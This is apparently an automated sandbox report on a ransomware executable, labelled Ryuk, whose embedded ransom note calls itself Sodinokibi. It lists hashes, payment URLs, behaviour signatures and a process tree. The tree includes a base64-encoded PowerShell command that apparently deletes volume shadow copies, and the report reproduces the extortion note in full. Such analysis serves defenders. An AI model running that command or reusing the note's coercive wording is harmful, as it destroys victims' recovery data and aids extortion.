Overview

overview

10

Static

static

10

93119ee70e...0b.exe

windows7_x64

10

93119ee70e...0b.exe

windows10_x64

10

Analysis

  • max time kernel
    193s
  • max time network
    180s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:34

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General

  • Target

    93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe

  • Size

    166KB

  • MD5

    80a279b1cc2ed32aa2045ae327e39a31

  • SHA1

    21d03f4309ea6edf7301363d2da9cfe3b06b8824

  • SHA256

    93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b

  • SHA512

    308f4ef4fdc0d3b07fe5480dc12220eab8b4f04999a783e1b44288191a3cf1712cde8a2b33ab0f68447e6818e3baa9fc04502eb46f878255bba3a2405d370b58

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\32xg9m3-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 32xg9m3. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FE18EF3EE547E800 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/FE18EF3EE547E800 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ol7/YAd+/Bt0I10KGXTo3zRRXWdVeAYsCXYC4VlkwZxkkz1WqKM/AOjx0wp3U/33 Cd0osO9bQ14CnsrhTRJHC+gsdDNNWBOr7pF3901H7rHZ9CKZbGLUee+UPVJzACf2 DEFvbTxeKgv0ve8pF0eToeX9PA10MmK5QFI/IsXdw+64jVPg3yz2ej88WP7L5Kwi W5IptMVA6DFk7RemuJWuk87DfFsUtWHtnOvZJjnSp2aeJkAaT2yjqmGTHLd2OkHR 16BSxyp5dfM3iXqE6Co6vuqfhB5Gu/e7ho/3Hg1S/i8mtxMf4fCB00PoD84aSk4+ IXjZ9kR9J26+Fb848rmwiqq7e/0xQaLMB7PVl6bFtoH4PMvHC0gDFsxHcdRumOqX qNwAVrUeaWuyifIyIb6Keksdbi/I9+U1UV5y/R+cFp61L/jg+4zz5EawhxkDy4KW 14tltedW+EGTKeTwA0HsVxT8hm5PATe3yNYFX9kWZuNLvx6+OEOQv9WpkvlHjFY4 idww81fH4Dd8SeS7h7233LhffLd/tTmzOhtm9/JrZycMthcdRRkMkWTQsOznCjG2 wb3jOMs6hrDRZDw6rfxLlBFdkgMowxzZdolAi2i3LF69PrW44iQBSy9GmqcqkC99 sXdjO7h5aUuVEj3ITpjgF5aJGa6Yjbkub1frXZab+N/YgIYJjiWY7E6M+mlfXZfN uOsfVuHTp0immKdhehCAf92Ni2wMBLVfaNzB3Wr6/l2e5JpJtN08WQINBebr+B9E D01n7cucRZpEwN1wIGh/4kVxze/qTdbUXki8ZMrecZqwVq4o2/Q0tbredsYn8LBH g68d7MHkt9edV6iEjyvY+nQZ7uFrSbkIHB5dH+uFUiE3MEAHKGnzSFWuIFMT78WC vIVdKxgCbaQN+j51lX9A/sSfvVdcpdyt0tVveEusonSS80jPAF8L5T29arU5qmDJ LJNqotv88ILtbXayd05n65H7CxTCh0fdNG00C/h2lfky6jBjvV+/h1Ns/k4KqLxy coTXiyGcYAURigdOYwbMS+tLAd9oq2hBhQNOloj+oZ/pCvMguzQMZX0Sqf4X0CQb rfAen20Cpcmgb7QuRwiOzO96uaUhpjZoqDro6z2IWUK9Yjrgcq87ztiXw97KOQ== Extension name: 32xg9m3 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FE18EF3EE547E800

http://decryptor.cc/FE18EF3EE547E800

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 31 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe
    "C:\Users\Admin\AppData\Local\Temp\93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3832
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3980
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:892

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3832-123-0x0000028CA4A60000-0x0000028CA4AD7000-memory.dmp

      Filesize

      476KB

      Download

    • memory/3832-124-0x0000028CA4A60000-0x0000028CA4AD7000-memory.dmp

      Filesize

      476KB

      Download

    • memory/3832-125-0x0000028CA6980000-0x0000028CA69A2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3832-130-0x0000028CC0C40000-0x0000028CC0CB6000-memory.dmp

      Filesize

      472KB

      Download